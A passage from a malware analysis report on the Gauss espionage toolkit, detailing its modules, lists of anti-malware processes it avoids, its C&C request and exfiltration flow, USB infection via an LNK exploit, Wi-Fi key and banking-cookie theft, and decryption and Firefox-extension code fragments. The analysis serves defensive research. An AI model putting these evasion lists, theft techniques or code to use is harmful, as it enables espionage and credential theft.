\xe2\x80\x9cShellHWStop\xe2\x80\x9d, \xe2\x80\x9cGlobal\\ShellHWDetectionEvent\xe2\x80\x9d events, mutex \xe2\x80\x9cShellHWDetectionMutex\xe2\x80\x9d. [HKCR\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\InProcServer32] Default = %system32%\\wbem\\wmihlp32.dll 12 The main thread exits if the following processes were found at its start: LMon.exe sagui.exe RDTask.exe kpf4gui.exe ALsvc.exe pxagent.exe fsma32.exe licwiz.exe SavService.exe prevxcsi.exe alertwall.exe livehelp.exe SAVAdminService.exe csi-eui.exe mpf.exe lookout.exe savprogress.exe lpfw.exe mpfcm.exe emlproui.exe savmain.exe outpost.exe fameh32.exe emlproxy.exe savcleanup.exe filemon.exe AntiHook.exe endtaskpro.exe savcli.exe procmon.exe xfilter.exe netguardlite.exe backgroundscanclient.exe Sniffer.exe scfservice.exe oasclnt.exe sdcservice.exe acs.exe scfmanager.exe omnitray.exe sdcdevconx.exe aupdrun.exe spywareterminatorshield.exe onlinent.exe sdcdevconIA.exe sppfw.exe spywat~1.exe opf.exe sdcdevcon.exe spfirewallsvc.exe ssupdate.exe pctavsvc.exe configuresav.exe fwsrv.exe terminet.exe pctav.exe alupdate.exe opfsvc.exe tscutynt.exe pcviper.exe InstLsp.exe uwcdsvr.exe umxtray.exe persfw.exe CMain.exe dfw.exe updclient.exe pgaccount.exe CavAUD.exe ipatrol.exe webwall.exe privatefirewall3.exe CavEmSrv.exe pcipprev.exe winroute.exe protect.exe Cavmr.exe prifw.exe apvxdwin.exe rtt_crc_service.exe Cavvl.exe tzpfw.exe as3pf.exe schedulerdaemon.exe CavApp.exe privatefirewall3.exe avas.exe sdtrayapp.exe CavCons.exe pfft.exe avcom.exe siteadv.exe CavMud.exe armorwall.exe avkproxy.exe sndsrvc.exe CavUMAS.exe app_firewall.exe avkservice.exe snsmcon.exe UUpd.exe blackd.exe avktray.exe snsupd.exe cavasm.exe blackice.exe avkwctrl.exe procguard.exe CavSub.exe umxagent.exe avmgma.exe DCSUserProt.exe CavUserUpd.exe kpf4ss.exe avtask.exe avkwctl.exe CavQ.exe tppfdmn.exe aws.exe firewall.exe Cavoar.exe blinksvc.exe bgctl.exe THGuard.exe CEmRep.exe sp_rsser.exe bgnt.exe spybotsd.exe OnAccessInstaller.exe op_mon.exe bootsafe.exe xauth_service.exe SoftAct.exe cmdagent.exe bullguard.exe xfilter.exe CavSn.exe VCATCH.EXE cdas2.exe zlh.exe Packetizer.exe SpyHunter3.exe cmgrdian.exe adoronsfirewall.exe Packetyzer.exe wwasher.exe configmgr.exe scfservice.exe zanda.exe authfw.exe cpd.exe scfmanager.exe zerospywarele.exe dvpapi.exe espwatch.exe dltray.exe 13 zerospywarelite_installer.exe clamd.exe fgui.exe dlservice.exe Wireshark.exe sab_wab.exe filedeleter.exe ashwebsv.exe tshark.exe SUPERAntiSpyware.exe firewall.exe ashdisp.exe rawshark.exe vdtask.exe firewall2004.exe ashmaisv.exe Ethereal.exe asr.exe firewallgui.exe ashserv.exe Tethereal.exe NetguardLite.exe gateway.exe aswupdsv.exe Windump.exe nstzerospywarelite.exe hpf_.exe avastui.exe Tcpdump.exe cdinstx.exe iface.exe avastsvc.exe Netcap.exe cdas17.exe invent.exe Netmon.exe fsrt.exe ipcserver.exe CV.exe VSDesktop.exe ipctray.exe The module reads the registry value \xe2\x80\x9cSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Reliability\xe2\x80\x9d \xe2\x80\x9cTimeStampForUI\xe2\x80\x9d. It is an encrypted configuration file. The configuration file contains the list of additional modules, their names, DLL exports names to call and location of the modules\xe2\x80\x99 additional files. Gauss ShellNotifyUser ShellNotifyUserEx SetWindowEvent InitShellEx %systemroot%\\system32\\winshell.ocx %temp%\\ws1bin.dat Godel InitCache RevertCache ValidateEntry CreateEntry %windir%\\system32\\dskapi.ocx %temp%\\~gdl.tmp UsbDir InitCache RevertCache ValidateEntry CreateEntry %windir%\\system32\\smdk.ocx %temp%\\~mdk.tmp String values from config file (example) 14 Every module is loaded and its export functions are called as specified in the configuration. Most of the actions are logged in an encrypted (with XOR) file \xe2\x80\x9c%temp%\\~shw.tmp\xe2\x80\x9d. Sample of decrypted \xe2\x80\x9c~shw.tmp\xe2\x80\x9d After loading additional modules, it tries to acquire the same privileges as \xe2\x80\x9cexplorer.exe\xe2\x80\x9d and then starts its C&C interaction loop. Prior to communicating with the C&C, all the information from the other modules\xe2\x80\x99 log files is copied to the ~shw.tmp file. Paths to the log files are taken from the TimeStampForUI configuration file. As a result, at this stage ~shw.tmp becomes a universal container file containing all the stolen data. It checks Internet connection (https) by accessing URLs specified in its resource 161. It then checks an https connection with www.google.com or www.update.windows.com. If \xe2\x80\x9c200 OK\xe2\x80\x9d is received in reply, it sends a request with the proxy server parameters taken from the prefs.js file of the Mozilla Firefox browser. 15 http://www.google.com When an Internet connection is available, it connects to its C&C servers that are specified in resource 131: Connection is established using WinInet API and is performed in two stages: 1. GET request to the server. The response from the server is expected to contain new modules, commands or configuration data. GET [C&C domain]/userhome.php?sid=[random string]==&uid=VfHx8fHx8fHx8fHx8f Hx8fHx8fE= 2. POST request to the server with the contents of the file \xe2\x80\x9c~shw.tmp\xe2\x80\x9d that contains all data collected from the infected computer. The response from the server is decrypted using XOR and 0xACDC as the key. Exfiltrated data is compressed with Zlib. The C&C connection routine is controlled by a DWORD value that is read from the registry value: [HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Reliability] ShutdownIntervalSnapshotUI The initial value of the counter is read from resource 181 and is equal to 56. The counter is decremented every time the module fails to connect to its C&C server or to the servers specified in resource 161 and it is reset to the initial value after every successful connection to the C&C server. The module exits the C&C connection loop when the value of the counter becomes equal to zero. Resource Description 121 3 DWORDs, related to list of AVs 131 Hostnames and URLs of C&C servers 141 List of AVs, firewalls, etc. 151 Additional configuration DWORDs 161 Hostnames and URLs of legitimate sites to check Internet connection 171 String with cryptic identifiers 181 DWORD, number of attempts to connect to the C&C before giving up 16 File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WMI COM Helper FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft Corporation. Windows(TM) is a trade mark of Microsoft Corporation ProductName: WMI COM Services Help ProductVersion: 05.01.2600.5788 Version info \xe2\x80\x9cwmiqry32.dll\xe2\x80\x9d 17 Dskapi.ocx Name of the module used in Gauss: \xe2\x80\x9cGodel\xe2\x80\x9d or \xe2\x80\x9cKurt\xe2\x80\x9d. File names %system32%\\dskapi.ocx Some known MD5 ED5559B0C554055380D75C1D7F9C4424 E379270F53BA148D333134011AA3600C EF83394D9600F6D2808E0E99B5F932CA Image Size 1 327 104 bytes 954 368 bytes 962 560 bytes 417 792 bytes Number of resources 2 Resources 100, 101 Date of compilation 28.09.2011 13.10.2011 01.11.2011 29.11.2011 Related files %temp%\\~gdl.tmp .thumbs.db wabdat.dat desktop.ini target.lnk System32.dat System32.bin .CatRoot.tmp Creates events: \xe2\x80\x9c{12258790-A76B}\xe2\x80\x9d, \xe2\x80\x9cGlobal\\RasSrvReady\xe2\x80\x9d All functionality is implemented in \xe2\x80\x9cRevertCache\xe2\x80\x9d export. The module starts its main thread and then returns. The main thread waits for the \xe2\x80\x9c{12258790-A76B}\xe2\x80\x9d event and continuously checks for the presence of anti-malware software. \xe2\x80\x9cValidateEntry\xe2\x80\x9d signals the \xe2\x80\x9c{12258790-A76B}\xe2\x80\x9d event, allowing for the main thread to work for 3 seconds before terminating it. Writes log file: %temp%\\~gdl.tmp The log file entries are compressed with Zlib. Reads registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum 18 Checks for running anti-malware products by names and exits if they are present: AVKProxy.exe AVKService.exe AVKTray.exe AVKWCtl.exe GDFirewallTray.exe GDFwSvc.exe GDScan.exe abcd.exe avp.exe fameh32.exe fch32.exe fsar32.exe fsav32.exe fsdfwd.exe fsgk32.exe fsgk32st.exe fsguidll.exe fshdll32.exe fsm32.exe fsma32.exe fsmb32.exe fsorsp.exe fspc.exe fsqh.exe fssm32.exe fsus.exe gsava.exe gssm32.exe vsmon.exe zapro.exe zlclient.exe It also exits if started on Windows 7 SP 1. By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching \xe2\x80\x9cUSBSTOR\xe2\x80\x9d string in their information. When a drive contains \xe2\x80\x9c.thumbs.db\xe2\x80\x9d file, its contents are read and checked for the valid magic number 0xEB397F2B. If it matches, the module creates %commonprogramfiles%\\system\\wabdat.dat and writes the data to this file, and then deletes \xe2\x80\x9c.thumbs.db\xe2\x80\x9d. Then, it infects the USB drives by creating directories with the names .Backup0[D-M] and .Backup00[D-M] Infected USB root folder (before activation) 19 Each directory contains a specially crafted desktop.ini file and target.lnk file that exploits the LNK vulnerability. target.lnk [.ShellClassInfo] CLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} CLSID2 = {0AFACED1-E828-11D1-9187-B532F1E9575D} UICLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} desktop.ini Listing of .Backup0* directory In the root directory of the drive it creates files \xe2\x80\x9cSystem32.dat\xe2\x80\x9d and \xe2\x80\x9cSystem32.bin\xe2\x80\x9d, the payload DLLs, and the \xe2\x80\x9c.thumbs.db\xe2\x80\x9d file. The payloads are stored as resources and encrypted with a simple XOR routine. static int decrypt(uint8_t *data, unsigned int dataLen) { uint32_t acc = 0xCC; for ( unsigned int i = 0; i < dataLen; i++ ) { uint8_t acc2 = data[i]; data[i] ^= acc; acc = acc2; } return 0; } 20 Resource File name Description 100 System32.dat (.CatRoot.tmp) 32-bit payload 101 System32.bin (.CatRoot.tmp) 64-bit payload USB Payload Both 32-bit and 64-bit DLLs implement the same functionality. When loaded using the LNK vulnerability, they start a main thread and return. The main thread copies the payload to %TEMP% directory and loads itself again. When loaded from %TEMP%, it creates a mutex \xe2\x80\x9cIsvp4003ltrEvent\xe2\x80\x9d, patches the \xe2\x80\x9cNtQueryDirectoryFile\xe2\x80\x9d function in ntdll.dll so that it hides its files and then sends the \xe2\x80\x9cF5\xe2\x80\x9d key event to windows of classes \xe2\x80\x9cSysListView32\xe2\x80\x9d, \xe2\x80\x9cSysTreeView32\xe2\x80\x9d, \xe2\x80\x9cDirectUIHWND\xe2\x80\x9d, causing Explorer directory listings to refresh. This hides the files. It also waits for the event \xe2\x80\x9cGlobal\\RasSrvReady\xe2\x80\x9d. Then, it retrieves the following data from the system: \xe2\x96\xba Version of the Windows OS \xe2\x96\xba Workstation info \xe2\x96\xba Network adapter information \xe2\x96\xba Routing table \xe2\x96\xba Process list \xe2\x96\xba Environment variables and disk information \xe2\x96\xba List of visible network shares \xe2\x96\xba Network proxy information \xe2\x96\xba List of visible MS SQL servers \xe2\x96\xba URL cache All this information is encoded and appended to the file \xe2\x80\x9c.thumbs.db\xe2\x80\x9d on the infected storage. This file also contains a TTL (time to live) value that is decremented by 1 each time the payload starts from the infected storage. When this counter becomes equal to zero, the payload disinfects the media by removing \xe2\x80\x9c.Backup0*\xe2\x80\x9d directories and \xe2\x80\x9cSystem32.dat\xe2\x80\x9d and \xe2\x80\x9cSystem32.bin\xe2\x80\x9d files, leaving \xe2\x80\x9c.thumbs.db\xe2\x80\x9d file with collected information. Known value of the TTL value is \xe2\x80\x9c30.\xe2\x80\x9d There are several \xe2\x80\x9cspecial\xe2\x80\x9d versions of the payload. They contain additional PE sections with names \xe2\x80\x9c.exsdat,\xe2\x80\x9d \xe2\x80\x9c.exrdat,\xe2\x80\x9d and \xe2\x80\x9c.exdat\xe2\x80\x9d. These sections are encrypted with RC4. The encryption key is derived from an MD5 hash performed 10000 times on a combination of \xe2\x80\x9c%PATH%\xe2\x80\x9d environment string and name of the directory in %PROGRAMFILES%. The RC4 key is not yet known, neither is the contents of these sections. The payload also contains a binary resource 100 that is also encrypted. 21 thumbs.db file This is a container for data stolen by the \xe2\x80\x9cdskapi\xe2\x80\x9d payload. Offset Data 0 Magic number : 0xEB397F2B 4 TTL counter \xe2\x80\xa6 Encoded data The encoded data consists of arrays of encoded strings, separated by a magic value 0xFF875686. Offset Description 0 Magic number : 0xFF875686 \xe2\x80\x93 end of array of records, must search for the next Magic 0xFF875683 XOR ( recordLength + 5 ) \xe2\x80\x93 start of record 4 Encrypted string data, recordLength bytes Every record is encrypted by a simple algorithm using the character\xe2\x80\x99s position and record length and can be decrypted with the following code: for ( unsigned int j = 0; j < recordLen; j++ ) { ptr[i + j] ^= recordLen; ptr[i + j] -= j; } File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: \xc2\xa9 Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 5.1.3700.0 Version info \xe2\x80\x9cdskapi.ocx\xe2\x80\x9d 22 Smdk.ocx Name of the module used in Gauss: \xe2\x80\x9cUsbDir\xe2\x80\x9d File names %system32%\\smdk.ocx Some known MD5 5604A86CE596A239DD5B232AE32E02C6 90F5C45420C295C73067AF44028CE0DD Image Size 212 992 bytes Date of compilation 27.09.2011 17.10.2011 Related files %temp%\\~mdk.tmp Creates events: \xe2\x80\x9c{B336C220-B158}\xe2\x80\x9d, \xe2\x80\x9cGlobal\\SmSrvReady\xe2\x80\x9d All functionality is implemented in \xe2\x80\x9cRevertCache\xe2\x80\x9d export. The module starts its main thread and then returns. The main thread waits for the \xe2\x80\x9c{B336C220-B158}\xe2\x80\x9d event and continuously checks for the presence of anti-malware software. \xe2\x80\x9cValidateEntry\xe2\x80\x9d signals the \xe2\x80\x9c{B336C220-B158}\xe2\x80\x9d event, allowing for the disk enumeration routine to start. Writes log file: %temp%\\~mdk.tmp Reads registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum Checks for running antimalware products by names and exits if they are present: AVKProxy.exe AVKService.exe AVKTray.exe AVKWCtl.exe GDFirewallTray.exe GDFwSvc.exe GDScan.exe abcd.exe avp.exe fameh32.exe fch32.exe fsar32.exe fsav32.exe fsdfwd.exe fsgk32.exe fsgk32st.exe fsguidll.exe fshdll32.exe fsm32.exe fsma32.exe fsmb32.exe fsorsp.exe fspc.exe fsqh.exe fssm32.exe fsus.exe gsava.exe gssm32.exe The version of the module built on 27.09.2011 also exits if started on Windows 7 SP 1. By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching \xe2\x80\x9cUSBSTOR\xe2\x80\x9d string in their information. The log file entries are compressed with Zlib. 23 File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: \xc2\xa9 Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 5.1.3700.0 Version info \xe2\x80\x9csmdk.ocx\xe2\x80\x9d (the same as in dskapi.ocx) 24 McDmn.ocx Name of the module used in Gauss: \xe2\x80\x9cMcDomain\xe2\x80\x9d File names %system32%\\mcdmn.ocx known MD5 9CA4A49135BCCDB09931CF0DBE25B5A9 Image Size 102 400 bytes Date of compilation 16.09.2011 Related files %temp%\\md.bak This module is a Windows DLL file with one exported function called \xe2\x80\x9cDllRegisterServer.\xe2\x80\x9d It creates log file: %temp%\\md.bak that is encrypted with 2-byte XOR. Uses LsaQueryInformationPolicy to retrieve the name of the primary domain. Retrieves information about network adapters. All this information is encrypted and stored in the log file. File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows File Extension FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Micro soft Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 05.01.2600.5788 Version info \xe2\x80\x9cmcdmn.ocx\xe2\x80\x9d 25 Lanhlp32.ocx Name of the module used in Gauss: \xe2\x80\x9cTailor\xe2\x80\x9d File names %system32%\\lanhlp32.ocx Known MD5 ED2B439708F204666370337AF2A9E18F Image Size 278 528 bytes Date of compilation 26.10.2011 Related files %systemroot%\\Temp\\s61cs3.dat The module is a Windows DLL file with one exported function called \xe2\x80\x9cDllRegisterServer.\xe2\x80\x9d It contains encrypted debug information that includes the location of the project, \xe2\x80\x9cd:\\projects\\tailor\\\xe2\x80\x9d: tils\\Exceptions.h ..\\Utils\\Buffer.cpp ..\\Utils\\CryptUtils.cpp ..\\Utils\\Event.cpp ..\\Utils\\EveryoneSecurityAttributes.cpp ..\\Utils\\File.cpp ..\\Utils\\Mutex.cpp ..\\Utils\\MyWlanApi.cpp ..\\Utils\\OsUtils.cpp ..\\Utils\\RemoteMemoryBuffer.cpp ..\\Utils\\Storage.cpp ..\\Utils\\StringUtils.cpp ..\\Utils\\Waiter.cpp .\\SavedWNetworkConnectionsWin5.cpp .\\SavedWNetworkConnectionsWin6.cpp .\\VisibleNetworks.cpp Creates mutex : Global\\EnvDBE Creates log file: %systemroot%\\Temp\\s61cs3.dat Operates on Windows XP, Windows Vista and Windows 7. On Windows XP: .\\SavedWNetworkConnectionsWin5.cpp Enumerates registry keys in HKLM\\SOFTWARE\\Microsoft\\WZCSVC\\Parameters\\Interfaces\\ Extracts \xe2\x80\x9cStatic#\xe2\x80\x9d values that contain wireless key data. 26 On Windows Vista and Windows 7 : ..\\Utils\\MyWlanApi.cpp .\\SavedWNetworkConnectionsWin6.cpp .\\VisibleNetworks.cpp Uses extended wlanapi.dll API to access WLAN information. Enumerates available wireless interfaces, then enumerates all profiles and extracts SSID, name and wireless key information. Then, it retrieves the list of wireless networks visible to all the wireless interfaces. The log file is encrypted with a simple 1-byte XOR. File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows LAN Component FileVersion: 5.1.3700.0 InternalName: lanhlp32.ocx LegalCopyright: \xc2\xa9 Microsoft Corporation. All rights reserved. OriginalFilename: lanhlp32.ocx ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 5.1.3700.0 Version info \xe2\x80\x9clanhlp32.ocx\xe2\x80\x9d 27 Devwiz.ocx Name of the module used in Gauss: \xe2\x80\x9cCosmos\xe2\x80\x9d File names %system32%\\devwiz.ocx Known MD5 CBB982032AED60B133225A2715D94458 Image Size 102 400 bytes Date of compilation 19.03.2012 Related files %temp%\\~ZM6AD3.tmp The module is a Windows DLL file with one exported function called \xe2\x80\x9cRefreshDev.\xe2\x80\x9d It creates log file : %WINDIR%\\temp\\~ZM6AD3.tmp The log file is not encrypted and starts with a magic number 0xF68B973D The module collects the following information and writes it to the log file : \xe2\x96\xba CMOS RAM contents \xe2\x96\xba Registry keys : [ HKLM\\HARDWARE\\DESCRIPTION\\System ] SystemBiosVersion,SystemBiosDate [ HARDWARE\\DESCRIPTION\\System\\BIOS ] BIOSVendor, BIOSVersion, BIOSReleaseDate, BaseBoardManufacturer, BaseBoardProduct, BaseBoardVersion, SystemFamily, SystemManufacturer, SystemProductName, SystemSKU, SystemVersion All retrieved information is written to the log file. 28 File Version: 5.1.2600.0 Product Version: 5.1.2600.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows Device Wizard FileVersion: 5.1.2600.0 InternalName: devwiz.ocx LegalCopyright: \xc2\xa9 Microsoft Corporation. All rights reserved. OriginalFilename: devwiz.ocx ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 5.1.2600.0 Version info \xe2\x80\x9cdevwiz.ocx\xe2\x80\x9d 29 Winshell.ocx Name of the module used in Gauss: \xe2\x80\x9cGauss\xe2\x80\x9d File names %system32%\\winshell.ocx Some known MD5 EF6451FDE3751F698B49C8D4975A58B5 7AC2799B5337B4BE54E5D5B03B214572 4FB4D2EB303160C5F419CEC2E9F57850 Image Size 405 504 (August 2011) 417 792 (October 2011) 401 408 (Dec 2011 - Jan 2012) Number of resources 6 Resources 121,122,123,124,125,126 Date of compilation 08.08.2011 03.10.2011 14.12.2011 05.01.2012 Related files %temp%\\ws1bin.dat browser.js browser.xul fileio.js chrome.manifest lppd.dat install.rdf rssf.dat lfm.dat mppd.dat pddp.dat Creates events: \xe2\x80\x9cGlobal\\SrvReportCondition\xe2\x80\x9d, \xe2\x80\x9cGlobal\\DhwSyncEvent\xe2\x80\x9d, \xe2\x80\x9cGlobal\\ShellSync\xe2\x80\x9d Interestingly, all three variants of the module that we have analyzed contain information about the location and names of the original projects: Variant Path to project files August 2011 d:\\projects\\gauss October 2011 d:\\projects\\gauss_for_macis_2 Dec 2011-Jan 2012 c:\\documents and settings\\flamer\\desktop\\gauss_white_1 30 Contains encrypted debug information that includes the location and files of the project: c:\\documents and settings\\flamer\\desktop\\gauss _ white _ tils\\ Exceptions.h .\\main.cpp .\\Manager.cpp c:\\documents and settings\\flamer\\desktop\\gauss _ white _ tils\\SmartPtr.h .\\Injector.cpp c:\\documents and settings\\flamer\\desktop\\gauss _ white _ 1\\gauss\\../Utils/ComUtils.h .\\History.cpp .\\FirefoxPluginInstaller.cpp .\\Telemetry.cpp .\\Storage.cpp .\\OsUtils.cpp .\\ProcessSnapshot.cpp .\\Event.cpp .\\GaussThread.cpp .\\Buffer.cpp .\\RemoteMemoryBuffer.cpp .\\File.cpp .\\Mutex.cpp .\\Waiter.cpp .\\EveryoneSecurityAttributes.cpp .\\Catcher.cpp .\\BrowserConnector.cpp c:\\documents and settings\\flamer\\desktop\\gauss _ white _ 1\\minime\\../Utils/SmartPtr.h .\\Assigner.cpp .\\IEAbstractElements.cpp .\\FormExtractor.cpp .\\COMAbstractDataTypes.cpp The debug information which was accidentally forgotten by the developers provides some interesting details. For instance, the Windows username which compiled the project can be seen in the strings above as \xe2\x80\x9cflamer\xe2\x80\x9d. 31 DllMain starts a thread only if loaded by \xe2\x80\x9cexplorer.exe\xe2\x80\x9d. Writes log file: %systemroot%\\Temp\\ws1bin.dat. Log file starts with magic number 0x0A86FD375, encrypted with 1-byte XOR 0x46. Log file writer is guarded by mutex \xe2\x80\x9cGlobal\\ShellSyncCom\xe2\x80\x9d. Reads registry key : SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Reliability ShutdownInterval = binary data Checks Windows version and, onWindows Vista and Windows 7, it accesses %SystemDrive%\\Users. On earlier versions, it uses %SystemDrive%\\Documents and settings and gets list of directories there. Export \xe2\x80\x9cInitShellEx\xe2\x80\x9d : Enumerates all entries in HKEY _ USERS, removes all entries in SOFTWARE\\Mozilla\\Mozilla\\Firefox for each user, searches for its log ws1bin.dat and removes it. Export \xe2\x80\x9cSetWindowEvent\xe2\x80\x9d : set event \xe2\x80\x9cGlobal\\DhwSyncEvent\xe2\x80\x9d, wait for other thread to exit in 20 seconds, then terminate that thread. Export \xe2\x80\x9cShellNotifyUser\xe2\x80\x9d : returns 1 Export \xe2\x80\x9cShellNotifyUserEx\xe2\x80\x9d : main export. Starts its main thread that should be monitored by the event \xe2\x80\x9cSetWindowEvent\xe2\x80\x9d and returns. Lists running processes and returns if \xe2\x80\x9cevil.exe\xe2\x80\x9d is running. Additionally logs the presence of the following registry keys : HKLM\\SOFTWARE\\KasperskyLab\\AVP6\xe2\x80\x9d, \xe2\x80\x9cHKLM\\SOFTWARE\\KasperskyLab\\ protected\\AVP7 Then it starts a loop searching for running instances of %systemroot%\\explorer.exe. If found, it injects %systemroot%\\system32\\winshell.ocx (own body) into that process. It uses an interesting technique to inject itself into Explorer: it creates a remote thread with the address of \xe2\x80\x9cLoadLibraryW\xe2\x80\x9d API as its start address. The path to its ocx file is passed to the function as \xe2\x80\x9clpParameter\xe2\x80\x9d. 32 Telemetry: It retrieves and logs the following: \xe2\x96\xba Computer name \xe2\x96\xba Windows OS version \xe2\x96\xba List of running processes \xe2\x96\xba List of directories in %PROGRAMFILES% \xe2\x96\xba Version of Internet Explorer browser \xe2\x96\xba Primary domain name \xe2\x96\xba Network adapter information Searches for Cookies directory, retrieves all cookie files and writes their contents into its log. Searches for cookies that contain the following strings: paypal mastercard eurocard visa americanexpress bankofbeirut eblf blombank byblosbank citibank fransabank yahoo creditlibanais amazon facebook gmail hotmail ebay maktoob Then, it retrieves Internet Explorer browsing history using IUrlHistoryStg::EnumUrls function, and tries to extract password and text fields from loaded pages. The Firefox plugin is written in several files, all of them are extracted and decrypted from the resources of the module. Resource Id File name of the Firefox Plugin component 121 browser.js 122 browser.xul 123 fileio.js 124 chrome.manifest 125 lppd.dat 126 install.rdf Appends Firefox configuration file \xe2\x80\x9cprefs.js\xe2\x80\x9d with the following string, disabling Firefox \xe2\x80\x9cselect your add-ons\xe2\x80\x9d window that is usually shown after each Firefox update: user _ pref(\xe2\x80\x9cextensions.shownSelectionUI\xe2\x80\x9d, true); 33 Installs the Firefox extension, on Windows Vista and Windows 7 into AppData\\Roaming\\Mozilla\\Firefox\\Profiles, on earlier versions into Application Data\\Mozilla\\Firefox\\Profiles. All files are written in a directory named \xe2\x80\x9c{a288cad4-7b24-43f8-9f4d-8e156305a8bc}\xe2\x80\x9d. The Firefox extension extracts the following data: \xe2\x96\xba Browsing history \xe2\x96\xba Passwords (saved and entered by the user) \xe2\x96\xba Cookies. The extension can be configured to look only for cookies of Google, Hotmail, Facebook, Yahoo const Cc = Components.classes; const Ci = Components.interfaces; const EXTENSION _ ID = \xe2\x80\x9c{a288cad4-7b24-43f8-9f4d-8e156305a8bc}\xe2\x80\x9d; const EXTENSION _ PATH = DirIO.get(\xe2\x80\x9cProfD\xe2\x80\x9d).path+\xe2\x80\x9d\\\\extensions\\\\\xe2\x80\x9d+ EXTENSION _ ID; const QUERY _ ID = \xe2\x80\x98YlU/X1gFa2Isb1YkcFMnP18u\xcc\x80 1kkb1goYFUO akAgY1ULa1EjYlU/X1gPXWMyc18xYGM0b1UxalEsYVYgX1Uha18q dVEna18lYWQi`Dgob2QubmklYWQi`DEjYGIkb2MvXWMyc18xY FwoclUl`WgPblUlb/oSY18uY1wk`FkjYT8tRV4ocFYkcFMnPVwr P18u\xcc\x80 1kkb2gublk/\xe2\x80\x99; const EXTENSION _ URL = \xe2\x80\x9cabout:addons\xe2\x80\x9d; const EXTENSION _ XUL = \xe2\x80\x9cchrome://mozapps/content/extensions/ extensions.xul\xe2\x80\x9d; const ERROR _ FILE = \xe2\x80\x9crssf.dat\xe2\x80\x9d; const LOG _ FILE = \xe2\x80\x9clfm.dat\xe2\x80\x9d; const OUTPUT _ FILE = \xe2\x80\x9cmppd.dat\xe2\x80\x9d; const VERSION _ FILE = \xe2\x80\x9clddp.dat\xe2\x80\x9d; const MAX _ FILE _ SIZE = Math.pow(2,20)*10; const MEAN _ ROW _ SIZE = 100; const MAX _ ROW _ COUNT = (1/3)*(MAX _ FILE _ SIZE/MEAN _ ROW _ SIZE); Part of browser.js code 34 The Firefox extension writes several log files in its directory: Log file name Description rssf.dat Browsing history lfm.dat Log file mppd.dat Collected passwords pddp.dat Collected cookies File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows Shell Component FileVersion: 5.1.3700.0 InternalName: winshell.ocx LegalCopyright: \xc2\xa9 Microsoft Corporation. All rights reserved. OriginalFilename: winshell.ocx ProductName: Microsoft\xc2\xae Windows\xc2\xae Operating System ProductVersion: 5.1.3700.0 Version info \xe2\x80\x9cwinshell.ocx\xe2\x80\x9d 35 Windig.ocx Name of the module used in Gauss: \xe2\x80\x9cLagrange\xe2\x80\x9d File names %system32%\\windig.ocx Known MD5 DE2D0D6C340C75EB415F726338835125 Image Size 180 224 bytes Date of compilation 15.07.2011 Related files Fonts\\ pldnrfn.ttf The module is a Windows DLL file with one exported function called \xe2\x80\x9cGlobalDeleteAtomL.\xe2\x80\x9d\\ The module reads the registry key that is originally created by \xe2\x80\x9cShellHW\xe2\x80\x9d module : HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Reliability ShutdownInterval = binary data If the value is not present in the registry, it writes a random value into that key. Then, it creates a new TrueType font file \xe2\x80\x9c%SystemRoot%\\fonts\\pldnrfn.ttf\xe2\x80\x9d (62 668 bytes long) from a template and using randomized data from the ShutdownInterval key. The creation time of the font file is set to the creation time of the Arial font, %SystemRoot%\\fonts\\ARIAL.TTF. Then, a custom font named \xe2\x80\x9cPalida Narrow\xe2\x80\x9d is registered in the system font storage using the \xe2\x80\x9cAddFontResourceW\xe2\x80\x9d API function. The module also creates a registry value: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Fonts Palida 